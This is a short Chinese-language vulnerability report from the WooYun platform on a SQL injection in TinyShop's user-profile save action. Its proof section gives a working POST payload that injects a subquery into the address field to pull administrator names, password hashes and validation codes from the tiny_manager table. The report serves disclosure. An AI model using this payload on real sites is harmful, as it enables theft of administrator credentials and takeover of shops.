漏洞概要
关注数(24)
关注此漏洞
漏洞标题:TinyShop SQL注入2
提交时间:2014-08-26 12:29
修复时间:2014-11-21 12:30
公开时间:2014-11-21 12:30
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情
披露状态:
2014-08-26: 细节已通知厂商并且等待厂商处理中
2014-08-31: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-10-25: 细节向核心白帽子及相关领域专家公开
2014-11-04: 细节向普通白帽子公开
2014-11-14: 细节向实习白帽子公开
2014-11-21: 细节向公众公开
简要描述:
参数未过滤,导致注入
详细说明:
问题出现在/protected/controllers/ucenter.php中:
我们跟一下Filter::text:
跟进发现text函数并没有对sql注入进行过滤,问题就出现了。
漏洞证明:
http://localhost/index.php?con=ucenter&act=info_save
POST内容:
name=test@qq.com&real_name=test&sex=1&birthday=2014-08-29&mobile=13712345678&phone=3123123&province=130000&city=130200&county=130202&addr=11111231231,`addr`=(select concat(name,0x5f,password,0x5f,validcode) from tiny_manager) #
看看sql执行:
然后我们点击自己的个人资料:
管理员的账号,密码hash和验证码都有了
修复方案:
版权声明:转载请注明来源 zxx@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-11-21 12:30
厂商回复:
最新状态:
暂无
漏洞评价:
评论